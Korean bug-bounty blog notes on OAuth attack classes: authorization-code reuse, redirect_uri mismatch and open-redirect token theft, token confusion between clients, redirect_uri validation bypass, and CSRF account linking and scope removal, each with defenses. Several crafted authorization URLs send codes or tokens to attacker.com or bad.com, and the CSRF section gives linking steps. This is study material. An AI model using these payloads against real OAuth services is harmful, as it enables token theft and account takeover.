OAuth 정리

OAuth Client : 취약한 사이트
OAuth Provider : 페북, 네이버, 카카오 등  
                 클라이언트로부터 Access Token을 주고 받은 후 
 사용자 정보를 Client에 제공하는 서비스 업체
scope= 클라이언트와 프로바이더와 협의된 제공하는 정보 범위를 말하는
       것 같음

#10 The Postman Always Rings Twice
1. 클라이언트가 인증코드를 두번이상 사용가능한지?
인증코드가 두번이상 사용될 경우, 인증서버는 클라이언트에서 인증코드 기반으로 발행된 모든 토큰은 거부하도록 구현되야한다.

How to exploit?

한 리소스 소유자 RO1이 라이브러리 / 공항의 사이트 A에 액세스하고 (사이트 A가 인증 코드 부여를 사용하는 것과 마찬가지로) 인증 서버 (예 : Facebook)에 대한 로그인을 의미합니다. 그 결과 인증 코드는 브라우저 기록에 유지됩니다.

RO1이 끝나면 사이트 A와 Facebook에서 거의 로그 아웃하지만 브라우저 기록을 정리하지는 않을 것입니다.

이 단계에서 사이트 A를 사용하는 사악한 리소스 소유자 RO2는 자신의 자격 증명으로 Facebook에 로그인하지만 브라우저 기록에 저장된 인증 코드 RO1으로 사이트 A 로의 리디렉션을 변조합니다.

RO2가 Facebook에 로그인되어 있음에도 불구하고 자신의 자격 증명으로 RO1의 리소스를 다시 사용할 수있게됩니다.

Plus) 구글에서 토큰1.토큰2: 토큰1만 유효성 체크하여 
      토큰2에 특수문자 입력하여 에러 출력시킨 사례




#9 Match Point
"redirect_uri"매개 변수가 초기 권한 부여 요청에 포함되어 있고 포함 된 경우 해당 값이 동일한 지 확인하십시오.
Should you fail to do it, this in combination with Lassie Come Home below is game over 



#8 Open redirect in rfc6749 

Then the attacker can craft a special URI of the form

How to exploit: 오픈 리다이레트를 이용해 AccessToken을 훔칠 수 있다.

http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com

victim.com 제공자에게 새로운 클라이언트를 등록합니다.
attack.com과 같은 리디렉션 URI를 등록합니다.

예시
Facebook: https://graph.facebook.com/oauth/authorize?response_type=code&client_id=1621835668046481&redirect_uri=http://www.attacker.com/&scope=WRONG_SCOPE
Github: https://github.com/login/oauth/authorize?response_type=code&redirect_uri=http://attacker.com2&client_id=e2ddb90328315c367b11
Microsoft: https://login.live.com/oauth20_authorize.srf?response_type=code&redirect_uri=http://attacker.com&client_id=000000004C12822C


'The Devil Wears Prada' and 'Lassie Come Home'.
악마는 프라다를 입는다.
1. 제1클라 서버, 또다른 제2 클라서버(공격자용)
- 핵심은 페북으로 받는 Access Token.
- 제1 클라서버는 Access Token을 가지고 페북에 프로필 정보를 요청할 
  수 있는 서비스 업체.
- 제2 클라서버는 합법적으로 사용자 히스토리만 제공받을 수 있는 상태.

1. 제2클라서버가 사용자에게 AccessToken을 요청함
2. 사용자는 페북에 로그인 후 AccessToken을 받는다.
3. 제2클라서버는 AcessToken을 제1 클라서버에게 주면서 
   본래 목적 범위 이상 권한인 사용자 프로필 정보를 요청할 수 있다.
   
이 취약점은 제1클라서버가 AccessToken을 제공하는 객체의 신원을
파악하지 않는 것을 이용하 취약점이다. 즉, 페북이 넘겨주는 
AccessToken만으로 안전하다고 판단한 것이 문제.

이 취약점의 해결방법은 여러가지 있다고 하는데
베스트는 OpenID Connect를 사용하는 것이라고 한다.


Lassie Come Home
레시(개)는 집에온다. =>장사로 팔린 개가 먼길을 걸어 집에 돌아오는 책 내용

redirect_uri의 서브도메인, 호스트를 정확하게 일치하지 않는 다는점을
악용하여 엑세스 토큰을 훔칠 수 있는 취약점이다.

exploit
https://www.thecloudcompany.biz%2Foauth%2Fauthorize%3Fclient_id=Bad%26response_type=token%26redirect_uri=http://www.bad.com 


1.원본
https://www.thecloudcompany.biz/oauth/authrize?client_id=example&response_type=token&redirect_uri=https://www.example.thecloudcompany.biz

2.redirect_uri에 한번더 아래 경로 전체를 대입하면 validation을 우회함, 아래 URL이 리다이렉트 되면서 토큰을 유출 시킬수 있음https://www.thecloudcompany.biz%2Foauth%2Fauthorize%3Fclient_id=Bad%26response_type=token%26redirect_uri=http://www.bad.com 

방어법:
1. Respond with an HTTP 400 (Bad Request) status code. 
2. Perform a redirect to an intermediate URI under the control of the Authorization Server to clear referer information 
Authorization Server의 제어하에 중간 URI로 경로 재 지정을 수행하여 참조 자 정보를 지우십시오.




#7 Native apps - Which OAuth flow ?

간단히 말해서
- 기본 애플리케이션은 암시 적 플로우를 사용하지 않는 것이 좋습니다.
-기본 등록 클라이언트는 동적 등록 사례 (RFC 7591)와 같이 런타임에 
구성되지 않으면 client_secret을 보호 할 수 없습니다.

=>요건 너무 특수한 케이스라 패스


#6 Cross-site request forgery for OAuth Clients
  
Condition for the hack: login with OAuth Provider + ability to add OAuth Provider logins in settings


response_type = code는 서버 측 인증 흐름이므로 가능한 경우 response_type = token보다 더 안전해야합니다.

공급자는 사용자의 사용자 에이전트와 함께 '코드'를 반환하고 클라이언트는 클라이언트의 자격 증명과 함께 코드를 보내 'access_token'을 얻습니다.

사용자가 리디렉션 될 때의 콜백은 다음과 같습니다.
site.com/oauth/callback?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI

OAuth는 인증이 아니라 인증에 관한 것입니다. 차이점은 무엇입니까?

OAuth는 고객에게 제공자의 사용자 리소스에 대한 액세스 권한을 부여합니다.
그러나 종종 고객은 'profile_info'리소스로 사용자를 인증하므로 인증 프레임 워크라고도합니다.

해킹 조건 : OAuth 공급자로 로그인 + 설정에서 OAuth 공급자 로그인  추가 기능이 존재해야함 (Login with facebook, login with twitter 등을 말함)

1. 해킹조건에 만족하는 사이트를 찾는다. 
2. 공격자는 Add Oauth Provider login 클릭한다.
- 이 전에 전제조건이 또 있는거 같은데..
2.1 사전에 provider 로그인이 되있는 상태에서 대상사이트(site.com)에 Oauth 로그인 추가
2.2 기본 로그인이 된 상태에서 + 대상사이트(site.com)에 Oauth 로그인 추가 이렇게 나눠질거 같다.

3. 공급자로부터 콜백을 받을 때, 콜백을 바로 방문하지 말 것.
- 모던 브라우저는 자동으로 리다리렉트 시키므로 no redirect extension 사용을 추천함

Do not visit the last URL(http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI#_=_)

5. 위에 리다이렉트 되는 URL을 방문하지말고 갖고 있도록한다.
   추후에 

   
6. 이제 필요한 것은 pinterest를 이용하는 victim이 위 콜백 요청을 
   보내도록 만들어야 한다.

7. victim이 당신의 iframe 또는 img를 통한 URL을 방문했을 때,
   당신의 Oauth 계정이 victim의 사용자 계정과 연결될 것이다.
   
방어법: Optional인 state파라미터를 구현하여 random 해쉬 값을 검사한다.

   


#5 Cross-site request forgery for Authorization Servers

@asanso는 이전에 승인 된 OAuth 응용 프로그램이 ORF 토큰과 관련된 범위를 CSRF를 통해 제거 할 수있는 취약점을보고했습니다. OAuth 애플리케이션이 승인되기 전에 사용자는 OAuth 애플리케이션이 요청하는 범위를 확인해야합니다. 권한이 부여되면 동일한 요청 범위를 포함하는 향후 OAuth 플로우가 자동으로 유효성 검증되고 사용자가 OAuth 애플리케이션으로 경로 재 지정됩니다. OAuth 응용 프로그램이 추가 범위를 요청하는 경우 해당 범위도 인증해야합니다.

@asanso는 더 적은 범위를 요청하는 OAuth 플로우를 시작하면 사용자가 이러한 범위 제거를 승인 할 필요가 없다는 것을 관찰했습니다. 결과적으로 공격자는 인증 된 사용자의 OAuth 흐름을 CSRF하고 이전에 인증 된 응용 프로그램과 관련된 OAuth 토큰에서 범위를 자동으로 제거 할 수 있습니다. OAuth 응용 프로그램이 제거 된 범위에 의존하는 경우 기능이 중단 될 수 있습니다. 인증 된 OAuth 응용 프로그램의 범위 변경을 사용자가 확인하도록하여이 문제를 해결했습니다.


#이외 나머지는 중복~ 해석필요 없었음

'버그헌팅 > 방법론' 카테고리의 다른 글

Recon 테스트  (0) 2019.12.12
안드로이드 바운티 분석 리스트  (0) 2019.04.09
JD-GUI 팁  (0) 2019.04.03
URL SCHEME 버그바운티  (0) 2019.03.26
안드로이드 정적분석 버그헌팅 검색어 모음  (0) 2019.03.19

+ Recent posts